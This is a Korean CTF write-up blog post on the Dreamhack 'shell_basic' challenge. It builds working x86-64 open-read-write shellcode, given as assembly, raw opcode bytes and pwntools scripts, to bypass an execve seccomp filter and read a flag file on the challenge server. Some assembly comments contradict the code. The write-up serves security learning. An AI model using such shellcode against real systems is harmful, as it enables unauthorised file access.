Dreamhack - shell_basic

이지각·2024년 1월 6일
0

Dreamhack

목록 보기
9/9

Dreamhack - shell_basic


Question




// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

문제에서 파일의 위치가 '/home/shell_basic/flag_name_is_loooooong'라고 되어있다. C파일을 읽어보니 셸코드를 이용하여 파일을 실행 시키고 읽으면 될 것 같다.


Solution1 (어셈블리어로 번역 후 Pwntools 이용하기)

1. flag 경로 설정

push 0x0
mov rax, 676e6f6f6f6f6f6f ; gnoooooo
push rax
mov rax, 6c5f73695f656d61 ; l_si_ema
push rax
mov rax, 6e5f67616c662f63 ; n_galf/c
push rax
mov rax, 697361625f6c6c65 ; isab_lle
push rax
mov rax, 68732f656d6f682f ; he/emoh/
  1. flag의 경로인 '/home/shell_basic/flag_name_is_loooooong'를 8바이트 단위로 나눈다.
  2. 16진수로 변환 후 little endian에 맞춰 주소를 역순으로 스택에 push한다.
  3. 문자열의 끝을 정확하게 하기 위해 경로를 push하기 전 null(0x0)을 push한다.



2. open("/home/shell_basic/flag_name_is_loooooong", NULL, NULL)

mov rdi, rax ; rdi = "/home/shell_basic/flag_name_is_loooooong"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x2 ; rax = sys_open
syscall ; open("/home/shell_basic/flag_name_is_loooooong", NULL, NULL)
  1. open(filename, flags, mode)에서 각각의 인자는 앞에서 부터 rdi, rsi, rdx 레지스터 값이 사용된다.
  2. filename이 스택에 들어가 있으므로 rsp(스택 포인터 레지스터)를 rdi에 대입한다.
  3. rsi, rdx는 0으로 설정한다.
  4. syscall은 rax 레지스터 값에 의해 결정되기 때문에 rax를 2(open)로 설정한다.
  5. 그 후 syscall를 한다.


3. read(fd, buf, 0x30)

mov rdi, rax ; rdi = open("/home/shell_basic/flag_name_is_loooooong", NULL, NULL)
mov rsi, rsp
sub rsi, 0x30 ; rsi = 0x30
mov rdx, 0x30 ; rdx = 0x30
mov rax, 0x0 ; rax = sys_read
syscall ; read(fd, buf, 0x30)
  1. read(fd, buf, size)에서도 위와 마찬가지로 rdi, rsi, rdx 레지스터 값이 사용된다.
  2. syscall의 결과값은 rax에 저장되므로 rdi에 rax값을 대입한다.
  3. buf는 스택에 만들 것이므로 rsp를 rsi에 대입한다.
  4. 그리고 파일에서 read할 크기만큼 rsi에서 뺀다.
  5. rdx를 파일에서 read할 크기만큼 설정한다.
  6. read이므로 rax의 값을 0으로 설정하고 syscall을 한다.


buf에 지정한 크기만큼 "/home/shell_basic/flag_name_is_loooooong"에서 읽어온 데이터가 저장돼 있을 것이다.


4. write(1, but, 0x30)

mov rdi, 0x1 ; rdi = 0x1 (stdout)
mov rax, 0x1 ; rax = sys_write
syscall ; write(1, but, 0x30)
  1. wirte(fd, buf, size)에서 출력을 하려면 fd테이블에 의해 fd가 1이어야한다. 그러므로 rdi를 1로 설정한다.
    (stdin = 0, stdout= 1, stderr = 2)
  2. buf, size는 read함수와 동일하므로 수정하지 않는다
  3. write를 위해 rax의 값을 1로 수정하고 syscall한다.


5. 어셈코드와 스켈레톤 코드 합치기

// File name: asm.c
// Compile: gcc -o orw asm.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "push 0x0\n"
    "mov rax, 0x676e6f6f6f6f6f6f\n" 
    "push rax\n"
	"mov rax, 0x6c5f73695f656d61\n" 
    "push rax\n"
	"mov rax, 0x6e5f67616c662f63\n" 
    "push rax\n"
	"mov rax, 0x697361625f6c6c65\n" 
    "push rax\n"
	"mov rax, 0x68732f656d6f682f\n" 
    "push rax\n"

    "mov rdi, rsp # rdi = '/home/shell_basic/flag_name_is_loooooong'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"

    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"

    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c   # rax = sys_exit\n"
    "syscall   # exit(1)");

void run_sh();

int main() { run_sh(); }



6. objdump를 이용하여 opcode 추출




run_sh() 함수부분 추출 값

\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05



7. Pwntools에 넣기

from pwn import *

context.arch = "amd64"
p = remote("host3.dreamhack.games", 12271)

s = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05"
p.sendlineafter('shellcode: ', s)
print(p.recv())






Solution2 (Pwntools만 이용하여 코드 짜기)

from pwn import *

context.arch = 'amd64' # 사용할 아키텍쳐
p = remote("host3.dreamhack.games", 12271) # 서버와 접속
r = "/home/shell_basic/flag_name_is_loooooong" # 열 파일의 경로

s = ' ' 
s += shellcraft.open(r) # open(경로)
s += shellcraft.read('rax', 'rsp', 0x100) # read(fd, buf, 0x100) 
s += shellcraft.write(1, 'rsp', 0x100) # write(1, buf, 0x100)

print(p.recv())
p.sendline(asm(s)) #셸 코드를 기계어로 어셈블
print(p.recv())





풀이 팁: 어셈블리어, pwntools(shellcraft), 스켈레톤 코드 등

profile
정보보안학과생

0개의 댓글